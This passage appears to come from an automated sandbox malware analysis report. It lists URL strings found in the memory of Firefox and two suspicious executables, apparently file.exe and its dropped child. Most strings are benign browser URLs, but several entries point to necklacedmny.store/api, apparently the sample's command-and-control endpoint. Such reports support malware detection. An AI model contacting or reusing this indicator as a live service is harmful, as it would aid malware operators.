Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000020.00000002.2474969530.0000024964103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2325885615.000002496AC48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000020.00000003.2327320717.000002496AC31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000020.00000003.2327320717.000002496AC31000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000020.00000002.2486283714.0000024966670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000003.2279321057.0000024966D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2280099937.0000024966D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/systemManufacturer.jsexperiment-apis/
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/webrtc-global-mute-toggles
Source: firefox.exe, 00000020.00000003.2332647598.0000024968A67000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/webrtc-global-mute-togglesget
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2460159881.0000024956F11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000020.00000003.2351249210.000002496F461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2332259657.0000024968A6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000020.00000002.2464995478.000002496287B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%extensions.formautofill.credit
Source: firefox.exe, 00000020.00000002.2472749592.000002496409D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2474969530.0000024964120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://outlook.live.com/default.aspx?rru=compose&
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000020.00000002.2460159881.0000024956FD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2464995478.000002496287B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000000.00000003.1520824767.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552263422.0000000001640000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 51c532c207.exe, 0000000F.00000003.2207471772.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2187779578.000000000084B000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2153663007.0000000000841000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2153498593.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2382253996.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2169291067.0000000000846000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2205537517.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2364455567.00000000005A5000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2338428383.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2364190573.0000000000586000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2315558348.0000000000586000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/
Source: 51c532c207.exe, 0000000F.00000003.2153498593.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2236225534.0000000000839000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/.
Source: 51c532c207.exe, 00000019.00000003.2364190573.0000000000586000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/0
Source: 51c532c207.exe, 0000000F.00000003.2204971766.000000000084B000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2204698001.000000000084B000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2208129704.000000000085A000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2207727866.0000000000859000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2207106951.000000000084C000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2208584254.000000000085A000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2207385772.0000000000851000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/3
Source: 51c532c207.exe, 00000019.00000003.2362697718.0000000005128000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2385294417.0000000005129000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2402599679.000000000512B000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2383261337.0000000005123000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/AIIBAhgA
Source: 51c532c207.exe, 00000019.00000003.2404923307.0000000000595000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2430079666.0000000000595000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/NN
Source: 51c532c207.exe, 0000000F.00000003.2204698001.000000000084B000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2187779578.000000000084B000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2220934125.0000000000859000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2153790681.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2153498593.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2229423379.0000000000857000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2229352881.000000000084E000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2236225534.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2169291067.0000000000846000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2363966275.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2406005636.000000000059F000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2362697718.0000000005128000.00000004.00000800.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2390640835.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2430079666.000000000059D000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2383524547.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2404923307.000000000059D000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2435799649.000000000059F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.1504230153.000000000164D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520629224.0000000001650000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api0u
Source: file.exe, 00000000.00000003.1504190384.0000000001661000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484876716.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1484851469.000000000164B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1501312367.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1504057710.0000000001652000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api1
Source: file.exe, 00000000.00000003.1501312367.0000000001651000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1501288419.000000000164A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api2
Source: 51c532c207.exe, 0000000F.00000003.2381707960.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/api_
Source: 51c532c207.exe, 0000000F.00000003.2153498593.0000000000839000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 0000000F.00000003.2205537517.0000000000839000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apiir=C:
Source: 51c532c207.exe, 00000019.00000003.2430079666.000000000059D000.00000004.00000020.00020000.00000000.sdmp, 51c532c207.exe, 00000019.00000003.2435799649.000000000059F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/apij
Source: file.exe, 00000000.00000003.1552263422.0000000001640000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/dP
Source: 51c532c207.exe, 0000000F.00000003.2153498593.0000000000839000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store/n
Source: 51c532c207.exe String found in binary or memory: https://necklacedmny.store:443/api
Source: 51c532c207.exe, 0000000F.00000003.2382253996.00000000007E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://necklacedmny.store:443/api92.168.2.8
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000020.00000002.2466196879.0000024962D7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487076583.0000024966925000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sisDownloadsImprovementsAlreadyMigratedresource://gre/modules/
Source: firefox.exe, 00000020.00000002.2485066659.0000024965584000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000020.00000002.2485066659.0000024965553000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.comregisterModulesProtocolHandlerbrowser.launched_to_handledch_handle/handl
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467033519.0000024963089000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2487781714.0000024966A0A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/importNodeAndAppendChildAt
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.comnetwork.proxy.backup.socksmigrateXULAttributeToStyledefault-browser-p
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000020.00000003.2365524342.000002496F425000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2488316289.0000024966B94000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs:
Source: firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsgetScalars
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelmoz-extension://754bb16d-80f9-4287-b52f-da014206
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467033519.0000024963089000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000020.00000002.2467973406.00000249631AA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000020.00000003.2413509171.000002496A2A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationresource://gre/modules/ContentPrefServiceChild.sys
Source: 51c532c207.exe, 00000019.00000003.2367794765.000000000524D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.orgmaybeShowOnboardingDialognetwork.proxy.backup.socks_portchrome://browser/
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000020.00000002.2460159881.0000024956F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.commedia.autoplay.blocking_policytestPermissionFromPrincipalcreateContent
Source: firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000020.00000002.2488316289.0000024966BE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000020.00000003.2416165997.000002496AC41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2325885615.000002496AC48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2328340702.000002496AC3D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000020.00000003.2332259657.0000024968A6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: file.exe String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b69482
Source: file.exe, 00000000.00000003.1504266698.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520824767.0000000001641000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552263422.0000000001640000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1552552165.0000000001649000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964071000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2472749592.0000024964020000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: firefox.exe, 00000020.00000002.2467973406.0000024963103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000020.00000002.2467973406.0000024963172000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://browser/content/parent/ext-devtools-pane
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000020.00000002.2467973406.00000249631E4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
